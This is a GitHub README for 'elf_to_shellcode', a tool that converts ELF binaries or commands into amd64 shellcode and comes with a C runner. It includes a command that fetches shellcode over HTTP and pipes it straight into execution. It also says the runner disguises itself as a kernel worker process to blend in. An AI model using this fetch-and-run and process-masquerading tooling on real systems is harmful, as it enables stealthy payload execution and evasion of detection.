Skip to content

kinopio1101/elf_to_shellcode

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

elf_to_shellcode

Convert static linked elf , dynamic linked elf or command to shellcode.

Supporter architectures

  • amd64

Usage

python3 ./elf_to_shellcode_amd64.py elf command...

This emits a loader stub followed by the ELF payload on stdout. Capture it to a file or pipe it directly into the bundled runner.

Building the runner

gcc run_shellcode.c -o run_shellcode

On Linux the runner renames its process to [kworker/1:5-events] to blend in with kernel worker tasks. Other platforms ignore the rename.

Running shellcode

  • From a file:
./run_shellcode shellcode.bin
  • Via a pipeline (the runner treats - or no argument as stdin):
python3 ./elf_to_shellcode_amd64.py /bin/ls /bin/ls | ./run_shellcode -
  • Fetch directly over HTTP:
curl -s http://127.0.0.1:9999/shellcode | ./run_shellcode

Samples

  1. convert ls to shellcode
python3 ./elf_to_shellcode_amd64.py /bin/ls /bin/ls ./>/tmp/shellcode

then run the shellcode :

root@LAPTOP-UFBOJERU:/elf_to_shellcode_amd64# ./run /tmp/shellcode
elf_to_shellcode_amd64.py  loader_amd64  run
  1. convert busybox to shellcode
python3 ./elf_to_shellcode_amd64.py /bin/busybox sh >/tmp/shellcode

run the shellcode:

root@LAPTOP-UFBOJERU:/elf_to_shellcode_amd64# ./run ./shellcode

BusyBox v1.30.1 (Ubuntu 1:1.30.1-4ubuntu6.4) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/mnt/c/Users/lenovo/Desktop/elf_x_execve_mem/elf_to_shellcode_amd64 #

About

将任何 elf 或命令转换为 shellcode

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • C 81.8%
  • Python 9.3%
  • Makefile 5.4%
  • Assembly 3.5%